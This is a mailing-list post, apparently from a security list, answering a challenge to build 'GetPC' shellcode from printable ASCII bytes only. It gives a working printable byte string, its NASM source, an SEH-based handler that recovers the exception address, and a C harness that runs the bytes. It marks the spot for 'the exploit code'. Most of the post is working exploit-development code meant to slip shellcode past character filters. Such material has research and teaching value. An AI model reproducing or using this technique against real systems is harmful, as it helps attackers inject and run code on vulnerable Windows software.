Re: GetPC code (was: Shellcode from ASCII)

[Costin Ionescu <costin.ionescu () fokus fraunhofer de>]

I think I solved your 2nd challenge, but only under Windows. Under Linux 
I don't know yet.

The idea: push some code on the stack, put a SEH frame also on the stack 
(the frame
points to the code on the stack) and crash! by modifying at that f**kin' 
NULL :-)
The code on the stack will receive control and will get the exception 
address from parameters
passed to SEH function. ALL THIS ONLY WITH 20-7F bytes ( sorry, I *had* 
to shout it out :) )
I've seen now that somebody on the list had a similar idea with this SEH...

Under linux I don't know anything similar to SEH in Windows. You could 
set a signal handler for
SIGILL/SIGSEGV with sigaction and you can find out the crash address. 
The problem is calling
the sigaction syscall which means int 80h ( CD 80 )... So no more 20-7F 
bytes :-(

Anyway *EXTRA-ELLEGANT* solution given by noir !!!!!!!!!! WOW!!!

Now the short version:
T]hAAAAYQX-qpPP5/7``PQX-Q AA5^? 
X\PQX-AA!A5d$(dPQX-AAQP5G10{PQX-Q@!A5{{,GPQX-Q@A!5{\$$PT[W)<$_W^d3>USWd1>d1&1&
(warning! the ^? above is 7Fh)

And the long version is

getpc.asm (nasm-like syntax):

bits 32

push    esp
pop     ebp             ; store stack pointer before the dirty work


%include "stkcode.inc"   ; push code on stack

push    esp
pop     ebx         ; ebx = my SEH func

push edi
sub [esp], edi
pop edi             ; edi = 0

push edi
pop esi             ; esi = 0

xor edi, [fs:esi]   ; edi = fs:[0]

push ebp            ; store orig ESP
push ebx            ; my SEH func
push edi            ; old SEH frame

xor [fs:esi], edi ; fs:[0] = 0
xor [fs:esi], esp ; fs:[0] = esp (new SEH frame)

xor [esi], esp      ; crash!
; put the exploit code here ! :-D
; the following code is to make a working test.c
push edi
pop eax
ret

Now stkcode.inc is generated to push on the stack (using 20-7Fh bytes).
The pushed code on the stack (which has all 00-FF opcodes now because is 
generated)
looks like this:

bits 32
myseh:
       mov     ebx, [esp + 04h] ; ebx <- structure with exception info
       mov     edi, [ebx + 0Ch] ; oooo! ze Exception Address
       inc     edi ; ehmmm
       inc     edi ; skip that crashing instruction (2 bytes)
       xor     eax, eax
       mov     esp, [esp +08h] ; give back my stack!
       pop     dword [fs:eax] ; restore old SEH frame
       pop     eax ; this was the pointer to myseh
       pop     esp ; ahh! the clean stack
       jmp     edi ; go!
       nop         ;
       nop         ; make this code size multiple of 4 (so my tools work)
                   ; of course this can be optimized

Now a quick test:

#include <stdio.h>

/* Last 3 bytes are to return from this "function" with the result code 
the exploit address (meaning
* a pointer to these 3 bytes). The other bytes are in 20-7Fh range!!! */
char code[] = {
/* 0000 */ 0x54, 0x5D, 0x68, 0x41, 0x41, 0x41, 0x41, 0x59, 0x51, 0x58, 
0x2D, 0x71, 0x70, 0x50, 0x50, 0x35,
/* 0010 */ 0x2F, 0x37, 0x60, 0x60, 0x50, 0x51, 0x58, 0x2D, 0x51, 0x20, 
0x41, 0x41, 0x35, 0x7F, 0x20, 0x58,
/* 0020 */ 0x5C, 0x50, 0x51, 0x58, 0x2D, 0x41, 0x41, 0x21, 0x41, 0x35, 
0x64, 0x24, 0x28, 0x64, 0x50, 0x51,
/* 0030 */ 0x58, 0x2D, 0x41, 0x41, 0x51, 0x50, 0x35, 0x47, 0x31, 0x30, 
0x7B, 0x50, 0x51, 0x58, 0x2D, 0x51,
/* 0040 */ 0x40, 0x21, 0x41, 0x35, 0x7B, 0x7B, 0x2C, 0x47, 0x50, 0x51, 
0x58, 0x2D, 0x51, 0x40, 0x41, 0x21,
/* 0050 */ 0x35, 0x7B, 0x5C, 0x24, 0x24, 0x50, 0x54, 0x5B, 0x57, 0x29, 
0x3C, 0x24, 0x5F, 0x57, 0x5E, 0x64,
/* 0060 */ 0x33, 0x3E, 0x55, 0x53, 0x57, 0x64, 0x31, 0x3E, 0x64, 0x31, 
0x26, 0x31, 0x26, 0x57, 0x58, 0xC3,
};

int main ()
   {
   void* (*p)();
   p = (void* (*)())(&code[0]);
   printf("full code = %p. exploit code = %p.\n", &code[0], p());
   return (0);
   }


Thoughts for Linux version:
I understood that at gs:0 there is a structure containing some thread 
information. Maybe there is
also a map of signal handlers or anything else potentially usefull. If 
someone knows better this
stuff maybe will help us.

I attached a rar archive with all the stuff necessary to test my idea. 
The files are:
cc.bat    <- a batch to call the C compiler (I tested with BC 5.5)
cdump.c   <- dumps a binary file in a C-form
gen.c     <- generates code only with 20-7F bytes that pushes on the 
stack the data in the input file
getpc.asm <- main code
stkcode.asm <- stack code
stkcode.inc <- generated with gen.exe
getpc.h <- generated with cdump.exe
test.c <- ze damn test

You will need nasm to compile the asm files.
